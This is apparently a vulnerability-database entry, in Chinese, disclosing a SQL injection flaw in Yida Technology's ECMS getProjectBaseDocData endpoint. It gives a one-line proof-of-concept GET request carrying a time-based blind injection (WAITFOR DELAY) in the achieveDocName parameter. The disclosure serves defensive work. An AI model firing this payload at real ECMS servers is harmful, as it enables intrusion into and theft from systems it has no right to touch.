易达科技-ECMS /ecmsToBim/getProjectBaseDocData SQL注入漏洞

2024-02-29 ECMS PoC Public

Description

易达科技-ECMS getProjectBaseDocData SQL注入漏洞，攻击者可利用此漏洞获取服务器敏感信息

PoC

GET /ecmsToBim/getProjectBaseDocData?taskId=1&isHide=&achieveDocName=1%27);WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/db3d6fbf-9f1a-4a2e-a0db-d1803cbf210b

Related Vulnerabilities